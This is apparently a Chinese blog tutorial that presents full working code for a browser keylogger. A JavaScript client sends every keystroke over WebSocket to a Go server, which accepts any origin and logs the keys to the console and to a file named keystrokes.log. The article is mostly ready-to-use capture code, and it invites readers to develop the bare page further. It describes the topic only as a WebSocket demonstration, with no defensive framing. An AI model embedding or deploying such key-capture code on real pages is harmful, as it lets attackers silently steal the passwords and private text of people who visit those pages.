时间:2025-03-31 10:39
人气:
作者:admin
前端代码的主要功能是监听用户的键盘事件,并将按键数据通过 WebSocket 连接发送到服务器。以下是具体的实现代码:
<!DOCTYPE html>
<html>
<body>
<script>
// 连接到 WebSocket 服务
const ws = new WebSocket('ws://localhost:8080/ws');
// 监听键盘事件
document.addEventListener('keydown', (e) => {
// 立即发送按键数据(无需缓存)
ws.send(JSON.stringify({
key: e.key,
code: e.code,
timestamp: Date.now()
}));
});
// 处理连接错误
ws.onerror = (err) => {
console.error('WebSocket 错误:', err);
};
</script>
</body>
</html>
代码解释:
const ws = new WebSocket('ws://localhost:8080/ws');:创建一个 WebSocket 连接,连接到本地服务器的 ws://localhost:8080/ws 地址。document.addEventListener('keydown', (e) => { ... });:监听页面的键盘按下事件,当用户按下键盘上的某个按键时,触发回调函数。ws.send(JSON.stringify({ ... }));:将按键数据(包括按键名称、按键代码和时间戳)转换为 JSON 字符串,并通过 WebSocket 连接发送到服务器。ws.onerror = (err) => { ... };:处理 WebSocket 连接错误,当连接出现错误时,将错误信息打印到控制台。后端代码的主要功能是接收客户端发送的按键数据,并将其打印到控制台和记录到日志文件中。以下是具体的实现代码:
package main
import (
"encoding/json"
"log" "net/http" "os" "time"
"github.com/gorilla/websocket")
var upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool { return true }, // 允许跨域
}
type KeyLog struct {
Key string `json:"key"`
Code string `json:"code"`
Timestamp int64 `json:"timestamp"`
}
func main() {
http.HandleFunc("/ws", handleWebSocket)
log.Fatal(http.ListenAndServe(":8080", nil))
}
func handleWebSocket(w http.ResponseWriter, r *http.Request) {
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
log.Println("升级到 WebSocket 失败:", err)
return
}
defer conn.Close()
// 实时接收消息
for {
_, msg, err := conn.ReadMessage()
if err != nil {
log.Println("读取消息失败:", err)
break
}
var logData KeyLog
if err := json.Unmarshal(msg, &logData); err != nil {
log.Println("解析 JSON 失败:", err)
continue
}
// 实时打印
log.Printf("[+]Key: %s, Code: %s, Timestamp: %d\n", logData.Key, logData.Code, logData.Timestamp)
// 写入日志文件
saveToFile(logData)
}
}
func saveToFile(logData KeyLog) {
logLine := time.Unix(0, logData.Timestamp*int64(time.Millisecond)).Format("2006-01-02 15:04:05") +
" Key: " + logData.Key + " Code: " + logData.Code + "\n"
// 以追加模式打开文件
file, err := os.OpenFile("keystrokes.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Printf("打开文件失败: %v", err)
return
}
defer file.Close()
if _, err := file.WriteString(logLine); err != nil {
log.Printf("写入文件失败: %v", err)
}
}
代码解释:
var upgrader = websocket.Upgrader{ ... };:创建一个 WebSocket 升级器,用于将 HTTP 连接升级为 WebSocket 连接。type KeyLog struct { ... };:定义一个结构体 KeyLog,用于存储按键数据。http.HandleFunc("/ws", handleWebSocket);:注册一个 HTTP 处理函数,当客户端访问 /ws 路径时,调用 handleWebSocket 函数。conn, err := upgrader.Upgrade(w, r, nil);:将 HTTP 连接升级为 WebSocket 连接。for { ... }:进入一个无限循环,实时接收客户端发送的消息。_, msg, err := conn.ReadMessage();:读取客户端发送的消息。if err := json.Unmarshal(msg, &logData); err != nil { ... }:将接收到的 JSON 数据反序列化为 KeyLog 结构体。log.Printf("[+]Key: %s, Code: %s, Timestamp: %d\n", logData.Key, logData.Code, logData.Timestamp);:将按键数据打印到控制台。saveToFile(logData);:将按键数据写入日志文件。页面中所有的键盘操作都将被实时打印并记录在文件中。运行上述代码后,打开 HTML 文件,在页面中按下键盘上的任意按键,你将在服务器的控制台看到相应的按键信息,同时这些信息也会被记录到 keystrokes.log 文件中。以下是运行效果的截图:

当前html页面没有添加任何界面效果,后续可以用于自行开发
除了 WebSocket 技术,我们还可以使用 gRPC-Web 技术来实现同样功能的键盘记录器。gRPC-Web 结合了 gRPC 的高性能和 Web 技术的灵活性,能够提供更强大的远程过程调用能力。不过,由于 gRPC-Web 需要使用 Protocol Buffers(Protobuf)技术进行数据序列化和反序列化,实现过程相对复杂,涉及到 Protobuf 消息定义、服务接口定义、代码生成等多个步骤。我们会在后续的文章中详细介绍如何使用 gRPC-Web 技术来实现键盘记录器,敬请期待。
通过本文的介绍,我们了解了 WebSocket 技术的特性和优缺点,并使用 Go 和 JavaScript 实现了一个简单的键盘记录器。WebSocket 技术为实时数据交互提供了一种高效、可靠的解决方案,非常适合需要实时响应的应用场景。。